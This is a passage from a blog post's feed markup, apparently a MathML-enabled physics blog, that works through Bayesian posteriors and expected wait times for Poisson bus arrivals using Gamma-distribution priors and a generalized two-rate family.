  1192. <li>You arrive at a bus stop in an unfamiliar part of town. Assume that buses arrive at the stop as a <a href="http://en.wikipedia.org/wiki/Poisson_process">Poisson process</a>, with an unknown (to you) rate, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi></mrow><annotation encoding='application/x-tex'>\lambda</annotation></semantics></math>. You don&#8217;t know <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi></mrow><annotation encoding='application/x-tex'>\lambda</annotation></semantics></math>, but say you have a prior probability distribution for it, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>p</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>p_0(\lambda)</annotation></semantics></math>.
  1193. <ul>
  1194. <li>What&#8217;s your expected wait time, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>T</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>\langle T\rangle</annotation></semantics></math>, for the next bus to arrive?</li>
  1195. <li>Say you&#8217;ve been waiting for a time <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>t</mi></mrow><annotation encoding='application/x-tex'>t</annotation></semantics></math>. What&#8217;s your posterior probability distribution, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>p(\lambda)</annotation></semantics></math>, and what&#8217;s your new expected wait time?</li>
  1196. </ul></li>
  1197. <li>Let&#8217;s add some more information. Say that riders arrive at the bus stop via an independent Poisson process with an (unknown to you) rate, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BC;</mi></mrow><annotation encoding='application/x-tex'>\mu</annotation></semantics></math>. Whenever a bus arrives, all those waiting at the stop get on it. Thus, the number of people waiting is the number who arrived <em>since</em> the last bus. Say you arrive at the stop to find <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math> people already waiting. You wait for a time, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>t</mi></mrow><annotation encoding='application/x-tex'>t</annotation></semantics></math>, at which point there are <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>N</mi></mrow><annotation encoding='application/x-tex'>N</annotation></semantics></math> other people waiting at the stop (i.e., <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>N</mi><mo>&#x02212;</mo><mi>n</mi></mrow><annotation encoding='application/x-tex'>N&#x2d;n</annotation></semantics></math> arrived while you were waiting).
  1198. <ul>
  1199. <li>Given this data, what&#8217;s your posterior probability distribution, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>p(\lambda,\mu)</annotation></semantics></math>?</li>
  1200. <li>What&#8217;s your new expected wait time, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>T</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>\langle T\rangle</annotation></semantics></math>?</li>
  1201. </ul></li>
  1202. </ol>
  1203.  
  1204. <p>These questions illustrate one of my favourite points of view on <a href="http://en.wikipedia.org/wiki/Bayes%27_theorem">Bayes Theorem</a>, namely that it induces a flow on the (infinite-dimensional!) space of probability distributions. Understanding the nature of that flow is, I think, the key task of the subject.</p>
  1205.  
  1206. <p>Infinite dimensions are hard to get an intuition for, so one of the first tasks is to cut the problem down to a finite-dimensional one.</p>
  1207.  
  1208. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  1209.  
  1210. <p>Say we have a finite-dimensional <em>family</em> of probability distributions. We will call that family <em>natural</em> for the problem at hand, if the Bayes flow keeps us within that finite dimensional space.</p>
  1211.  
  1212. <p>A natural family of probability distributions for Problem 1 is the <a href="http://en.wikipedia.org/wiki/Gamma_distribution"><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x00393;</mi></mrow><annotation encoding='application/x-tex'>\Gamma</annotation></semantics></math>-distribution</a>. Let us choose a prior in that family
  1213. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>p</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><mo>=</mo><mi>f</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>;</mo><mi>&#x003BA;</mi><mo>,</mo><mi>a</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msup><mi>&#x003BA;</mi> <mi>a</mi></msup><msup><mi>&#x003BB;</mi> <mrow><mi>a</mi><mo>&#x02212;</mo><mn>1</mn></mrow></msup><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>&#x003BA;</mi><mi>&#x003BB;</mi></mrow></msup></mrow><mrow><mi>&#x00393;</mi><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1214.   p_0(\lambda) = f(\lambda; \kappa, a) = \frac{\kappa^a \lambda^{a&#x2d;1} e^{&#x2d;\kappa\lambda}}{\Gamma(a)}
  1215. </annotation></semantics></math>
  1216. where, for reasons that will be apparent in a moment, we require <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BA;</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mspace width="thinmathspace"/><mi>a</mi><mo>&gt;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>\kappa\gt 0,\, a\gt 1</annotation></semantics></math>. For fixed <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi></mrow><annotation encoding='application/x-tex'>\lambda</annotation></semantics></math>, the expected wait time is
  1217. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msubsup><mo>&#x0222B;</mo> <mn>0</mn> <mn>&#x0221E;</mn></msubsup><mi>d</mi><mi>&#x003C4;</mi><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>&#x003BB;</mi><mi>&#x003C4;</mi></mrow></msup><mi>&#x003BB;</mi><mi>&#x003C4;</mi><mo>=</mo><mfrac><mn>1</mn><mi>&#x003BB;</mi></mfrac></mrow><annotation encoding='application/x-tex'>
  1218.    \int_0^\infty d\tau  e^{&#x2d;\lambda \tau} \lambda\tau= \frac{1}{\lambda}
  1219. </annotation></semantics></math>
  1220. So, given our prior, we expect to wait
  1221. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>T</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><msubsup><mo>&#x0222B;</mo> <mn>0</mn> <mn>&#x0221E;</mn></msubsup><mi>d</mi><mi>&#x003BB;</mi><mfrac><mrow><msub><mi>p</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo></mrow><mi>&#x003BB;</mi></mfrac><mo>=</mo><mfrac><mi>&#x003BA;</mi><mrow><mi>a</mi><mo>&#x02212;</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1222.   \langle T\rangle = \int_0^\infty d\lambda \frac{p_0(\lambda)}{\lambda} = \frac{\kappa}{a&#x2d;1}
  1223. </annotation></semantics></math></p>
  1224.  
  1225. <p>Applying Bayes Theorem, our posterior distribution, after waiting a time <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>t</mi></mrow><annotation encoding='application/x-tex'>t</annotation></semantics></math>, is
  1226. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mi>p</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>;</mo><mi>t</mi><mo stretchy="false">)</mo></mtd> <mtd><mo>=</mo><mfrac><mrow><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>&#x003BB;</mi><mi>t</mi></mrow></msup><msub><mi>p</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo></mrow><mrow><msubsup><mo>&#x0222B;</mo> <mn>0</mn> <mn>&#x0221E;</mn></msubsup><mi>d</mi><mi>&#x003BB;</mi><mo>&#x02032;</mo><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>&#x003BB;</mi><mo>&#x02032;</mo><mi>t</mi></mrow></msup><msub><mi>p</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>&#x02032;</mo><mo stretchy="false">)</mo></mrow></mfrac></mtd></mtr> <mtr><mtd/> <mtd><mo>=</mo><mi>f</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>;</mo><mi>&#x003BA;</mi><mo>+</mo><mi>t</mi><mo>,</mo><mi>a</mi><mo stretchy="false">)</mo></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  1227. \begin{split}
  1228. p(\lambda; t) &amp;= \frac{e^{&#x2d;\lambda t} p_0(\lambda)}{\int_0^\infty d\lambda&apos; e^{&#x2d;\lambda&apos; t} p_0(\lambda&apos;)}\\
  1229. &amp;= f(\lambda; \kappa+t, a)
  1230. \end{split}
  1231. </annotation></semantics></math>
  1232. which, as announced, is just a shift of parameters of the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x00393;</mi></mrow><annotation encoding='application/x-tex'>\Gamma</annotation></semantics></math>-distribution. We immediately conclude that our expected wait time
  1233. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>T</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><mfrac><mrow><mi>&#x003BA;</mi><mo>+</mo><mi>t</mi></mrow><mrow><mi>a</mi><mo>&#x02212;</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1234. \langle T\rangle = \frac{\kappa+t}{a&#x2d;1}
  1235. </annotation></semantics></math>
  1236. has gone <em>up</em>. The longer we wait, the longer we expect to continue having to wait!</p>
  1237.  
  1238. <p>You should pause to convince yourself that&#8217;s the generic behaviour, whatever prior you assumed.</p>
  1239.  
  1240. <p>What about Problem 2? The first task is to compute, for fixed rates, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi></mrow><annotation encoding='application/x-tex'>\lambda,\mu</annotation></semantics></math>, the probability that </p>
  1241.  
  1242. <ul>
  1243. <li>There are <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math> people waiting at the stop, when you arrive.</li>
  1244. <li>You wait for a time, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>t</mi></mrow><annotation encoding='application/x-tex'>t</annotation></semantics></math>, during which
  1245. <ul>
  1246. <li>no bus arrives, but</li>
  1247. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>N</mi><mo>&#x02212;</mo><mi>n</mi></mrow><annotation encoding='application/x-tex'>N&#x2d;n</annotation></semantics></math> more riders arrive.</li>
  1248. </ul></li>
  1249. </ul>
  1250.  
  1251. <p>The answer is
  1252. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mi>N</mi><mo>,</mo><mi>n</mi><mo>;</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>+</mo><mi>&#x003BC;</mi><mo stretchy="false">)</mo><mi>t</mi></mrow></msup><mfrac><mrow><msup><mrow><mo stretchy="false">(</mo><mi>&#x003BC;</mi><mi>t</mi><mo stretchy="false">)</mo></mrow> <mrow><mi>N</mi><mo>&#x02212;</mo><mi>n</mi></mrow></msup></mrow><mrow><mo stretchy="false">(</mo><mi>N</mi><mo>&#x02212;</mo><mi>n</mi><mo stretchy="false">)</mo><mo>!</mo></mrow></mfrac><mspace width="thinmathspace"/><mfrac><mrow><msup><mi>&#x003BC;</mi> <mi>n</mi></msup><mi>&#x003BB;</mi></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>+</mo><mi>&#x003BC;</mi><mo stretchy="false">)</mo></mrow> <mrow><mi>n</mi><mo>+</mo><mn>1</mn></mrow></msup></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1253.   P(N,n; \lambda,\mu) = e^{&#x2d;(\lambda+\mu)t} \frac{{(\mu t)}^{N&#x2d;n}}{(N&#x2d;n)!}\, \frac{\mu^n \lambda}{{(\lambda+\mu)}^{n+1}}
  1254. </annotation></semantics></math></p>
  1255.  
  1256. <p>The second task is to find a natural family of probability distributions for this problem. I don&#8217;t know its name, but there is an obvious 5-parameter family, which is the natural generalization of the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x00393;</mi></mrow><annotation encoding='application/x-tex'>\Gamma</annotation></semantics></math>-distribution,
  1257. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><msub><mi>p</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo stretchy="false">)</mo></mtd> <mtd><mo>=</mo><mi>g</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo>;</mo><mi>&#x003BA;</mi><mo>,</mo><mi>&#x003C1;</mi><mo>,</mo><mi>a</mi><mo>,</mo><mi>b</mi><mo>,</mo><mi>c</mi><mo stretchy="false">)</mo></mtd></mtr> <mtr><mtd/> <mtd><mo>=</mo><mfrac><mrow><msup><mi>&#x003BA;</mi> <mrow><mi>a</mi><mo>+</mo><mi>c</mi></mrow></msup><msup><mi>&#x003C1;</mi> <mi>b</mi></msup></mrow><mrow><mi>&#x00393;</mi><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>c</mi><mo stretchy="false">)</mo><mi>&#x00393;</mi><mo stretchy="false">(</mo><mi>b</mi><mo stretchy="false">)</mo><mmultiscripts><mi>F</mi><mn>1</mn> <none/><mprescripts/><mn>2</mn> <none/></mmultiscripts><mo stretchy="false">(</mo><mi>b</mi><mo>,</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>c</mi><mo>,</mo><mn>1</mn><mo>&#x02212;</mo><mi>a</mi><mo>&#x02212;</mo><mi>c</mi><mo>;</mo><mi>&#x003BA;</mi><mo stretchy="false">/</mo><mi>&#x003C1;</mi><mo stretchy="false">)</mo></mrow></mfrac><mspace width="thinmathspace"/><msup><mi>&#x003BB;</mi> <mrow><mi>a</mi><mo>&#x02212;</mo><mn>1</mn></mrow></msup><msup><mi>&#x003BC;</mi> <mrow><mi>b</mi><mo>&#x02212;</mo><mn>1</mn></mrow></msup><msup><mrow><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>+</mo><mi>&#x003BC;</mi><mo stretchy="false">)</mo></mrow> <mi>c</mi></msup><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mo stretchy="false">(</mo><mi>&#x003BA;</mi><mi>&#x003BB;</mi><mo>+</mo><mi>&#x003C1;</mi><mi>&#x003BC;</mi><mo stretchy="false">)</mo></mrow></msup></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  1258. \begin{split}
  1259.   p_0(\lambda, \mu) &amp;= g(\lambda,\mu;\kappa,\rho, a,b,c)\\
  1260. &amp;= \frac{\kappa^{a+c}\rho^b}{\Gamma(a+c)\Gamma(b)\multiscripts{_2}{F}{_1}(b,&#x2d;c,1&#x2d;a&#x2d;c;\kappa/\rho)}\, \lambda^{a&#x2d;1} \mu^{b&#x2d;1} {(\lambda+\mu)}^c e^{&#x2d;(\kappa\lambda+\rho\mu)}
  1261. \end{split}
  1262. </annotation></semantics></math>
  1263. Note that</p>
  1264.  
  1265. <ul>
  1266. <li>For <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>c</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>c=0</annotation></semantics></math>, this is just a product of independent <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x00393;</mi></mrow><annotation encoding='application/x-tex'>\Gamma</annotation></semantics></math>-distributions.
  1267. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>g</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo>;</mo><mi>&#x003BA;</mi><mo>,</mo><mi>&#x003C1;</mi><mo>,</mo><mi>a</mi><mo>,</mo><mi>b</mi><mo>,</mo><mn>0</mn><mo stretchy="false">)</mo><mo>=</mo><mi>f</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>;</mo><mi>&#x003BA;</mi><mo>,</mo><mi>a</mi><mo stretchy="false">)</mo><mi>f</mi><mo stretchy="false">(</mo><mi>&#x003BC;</mi><mo>;</mo><mi>&#x003C1;</mi><mo>,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  1268.   g(\lambda,\mu;\kappa,\rho,a,b,0) = f(\lambda;\kappa,a)f(\mu;\rho,b)
  1269.  </annotation></semantics></math></li>
  1270. <li>For positive integer <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>c</mi></mrow><annotation encoding='application/x-tex'>c</annotation></semantics></math>, the hypergeometric function is just a finite-order polynomial
  1271. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mmultiscripts><mi>F</mi><mn>1</mn> <none/><mprescripts/><mn>2</mn> <none/></mmultiscripts><mo stretchy="false">(</mo><mi>b</mi><mo>,</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>c</mi><mo>,</mo><mn>1</mn><mo>&#x02212;</mo><mi>a</mi><mo>&#x02212;</mo><mi>c</mi><mo>;</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mrow><msub><mrow><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo></mrow> <mi>c</mi></msub></mrow></mfrac><munderover><mo lspace="thinmathspace" rspace="thinmathspace">&#x02211;</mo> <mrow><mi>k</mi><mo>=</mo><mn>0</mn></mrow> <mi>c</mi></munderover><msub><mrow><mo stretchy="false">(</mo><mi>b</mi><mo>&#x02212;</mo><mn>1</mn><mo stretchy="false">)</mo></mrow> <mi>k</mi></msub><msub><mrow><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo></mrow> <mrow><mi>c</mi><mo>&#x02212;</mo><mi>k</mi></mrow></msub><mrow><mo>(</mo><mrow><mtable displaystyle="false" rowspacing="0.5ex"><mtr><mtd><mi>c</mi></mtd></mtr> <mtr><mtd><mi>k</mi></mtd></mtr></mtable></mrow><mo>)</mo></mrow><msup><mi>x</mi> <mi>k</mi></msup></mrow><annotation encoding='application/x-tex'>
  1272.    \multiscripts{_2}{F}{_1}(b,&#x2d;c,1&#x2d;a&#x2d;c;x) = \frac{1}{{(a)}_c} \sum_{k=0}^c {(b&#x2d;1)}_k {(a)}_{c&#x2d;k}\begin{pmatrix}c\\ k\end{pmatrix} x^k
  1273.  </annotation></semantics></math></li>
  1274. <li>There&#8217;s an obvious symmetry
  1275. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" rowspacing="1.0ex"><mtr><mtd><mi>&#x003BB;</mi><mo>&#x02194;</mo><mi>&#x003BC;</mi></mtd></mtr> <mtr><mtd><mi>&#x003BA;</mi><mo>&#x02194;</mo><mi>&#x003C1;</mi></mtd></mtr> <mtr><mtd><mi>a</mi><mo>&#x02194;</mo><mi>b</mi></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  1276.  \begin{gathered}
  1277.     \lambda\leftrightarrow\mu \\
  1278.     \kappa\leftrightarrow\rho \\
  1279.     a\leftrightarrow b
  1280.  \end{gathered}
  1281.  </annotation></semantics></math></li>
  1282. </ul>
  1283.  
  1284. <p>Applying Bayes Theorem, the posterior probability is
  1285. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo>;</mo><mi>N</mi><mo>,</mo><mi>n</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>g</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo>,</mo><mi>&#x003BC;</mi><mo>;</mo><mi>&#x003BA;</mi><mo>+</mo><mi>t</mi><mo>,</mo><mi>&#x003C1;</mi><mo>+</mo><mi>t</mi><mo>,</mo><mi>a</mi><mo>+</mo><mn>1</mn><mo>,</mo><mi>b</mi><mo>+</mo><mi>N</mi><mo>,</mo><mi>c</mi><mo>&#x02212;</mo><mi>n</mi><mo>&#x02212;</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  1286.   p(\lambda,\mu; N,n,t) = g(\lambda,\mu;\kappa+t,\rho+t , a+1,b+N,c&#x2d;n&#x2d;1)
  1287. </annotation></semantics></math>
  1288. which, again, is just a shift of parameters of the distribution. The expected wait time
  1289. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">&#x027E8;</mo><mi>T</mi><mo stretchy="false">&#x027E9;</mo><mo>=</mo><mfrac><mi>&#x003BA;</mi><mrow><mi>a</mi><mo>+</mo><mi>c</mi><mo>&#x02212;</mo><mn>1</mn></mrow></mfrac><mfrac><mrow><mmultiscripts><mi>F</mi><mn>1</mn> <none/><mprescripts/><mn>2</mn> <none/></mmultiscripts><mo stretchy="false">(</mo><mi>b</mi><mo>,</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>c</mi><mo>,</mo><mn>2</mn><mo>&#x02212;</mo><mi>a</mi><mo>&#x02212;</mo><mi>c</mi><mo>;</mo><mi>&#x003BA;</mi><mo stretchy="false">/</mo><mi>&#x003C1;</mi><mo stretchy="false">)</mo></mrow><mrow><mmultiscripts><mi>F</mi><mn>1</mn> <none/><mprescripts/><mn>2</mn> <none/></mmultiscripts><mo stretchy="false">(</mo><mi>b</mi><mo>,</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mi>c</mi><mo>,</mo><mn>1</mn><mo>&#x02212;</mo><mi>a</mi><mo>&#x02212;</mo><mi>c</mi><mo>;</mo><mi>&#x003BA;</mi><mo stretchy="false">/</mo><mi>&#x003C1;</mi><mo stretchy="false">)</mo></mrow></mfrac></mrow><annotation encoding='application/x-tex'>
  1290.   \langle T\rangle = \frac{\kappa}{a+c&#x2d;1} \frac{\multiscripts{_2}{F}{_1}(b,&#x2d;c,2&#x2d;a&#x2d;c;\kappa/\rho)}{\multiscripts{_2}{F}{_1}(b,&#x2d;c,1&#x2d;a&#x2d;c;\kappa/\rho)}
  1291. </annotation></semantics></math>
  1292. transforms accordingly. The dependence on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>N</mi><mo>,</mo><mi>n</mi><mo>,</mo><mi>t</mi></mrow><annotation encoding='application/x-tex'>N,n,t</annotation></semantics></math> is, alas, somewhat complicated. You can spend some hours convincing yourself that it is what you should expect.</p>
  1293.  
  1294. <p>Whether you think a Poisson process is a good model for a real public transit systems, probably depends on your political persuasion.</p>
  1295.  
  1296. <hr/>
  1297.  
  1298. <h4 id="BusU1" class="update">Update: 12/29/2013</h4>
  1299.  
  1300. <p>In return, I should pose the followup problem:</p>
  1301.  
  1302. <ol start="3">
  1303. <li>
  1304. Same setup as Problem 1 but, now, you&#8217;ve been to the bus stop <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math> times previously and had to wait for times <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">{</mo><msub><mi>t</mi> <mn>1</mn></msub><mo>,</mo><msub><mi>t</mi> <mn>2</mn></msub><mo>,</mo><mi>&#x02026;</mi><mo>,</mo><msub><mi>t</mi> <mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding='application/x-tex'>\{t_1,t_2,\dots,t_n\}</annotation></semantics></math>. What is your posterior probability distribution for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi></mrow><annotation encoding='application/x-tex'>\lambda</annotation></semantics></math> (<em>hint: the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x00393;</mi></mrow><annotation encoding='application/x-tex'>\Gamma</annotation></semantics></math>-distribution is natural for this problem, too</em>), and what is your expected wait time?
  1305. </li>
  1306. </ol>
  1307.  
  1308.      </div>
  1309.    </content>
  1310.  </entry>
  1311.  
  1312. </feed>

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